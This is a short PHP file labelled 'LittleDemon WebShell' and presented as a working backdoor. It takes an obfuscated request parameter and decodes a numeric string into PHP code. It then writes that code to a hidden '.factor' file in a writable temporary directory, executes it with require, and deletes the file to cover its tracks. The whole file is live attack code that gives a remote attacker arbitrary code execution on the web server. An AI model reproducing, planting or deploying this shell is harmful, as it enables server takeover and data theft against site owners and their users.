LittleDemon WebShell

<?php

if(isset($_REQUEST["\x70\x73et"]) ? true : false){
	$value = array_filter([getcwd(), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP")]);
	$key = $_REQUEST["\x70\x73et"];
	 $key=explode	 ( "."	 	, 		$key			) 	; 
	$item = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt	 );
            $o = 0;
            $__len = count($key	 );
    
            do {
                if ($o >= $__len) break;
                $v5 = $key[$o];
                $chS = ord($salt[$o % $sLen]	 );
                $dec = ((int)$v5 - $chS - ($o % 10)) ^ 32;
                $item	.=chr($dec	 );
                $o++;
            } while (true	 );
	while ($record = array_shift($value)) {
    		if (max(0, is_dir($record) * is_writable($record))) {
    $binding = vsprintf("%s/%s", [$record, ".factor"]);
    if (file_put_contents($binding, $item)) {
	require $binding;
	unlink($binding);
	die();
}
}
}
}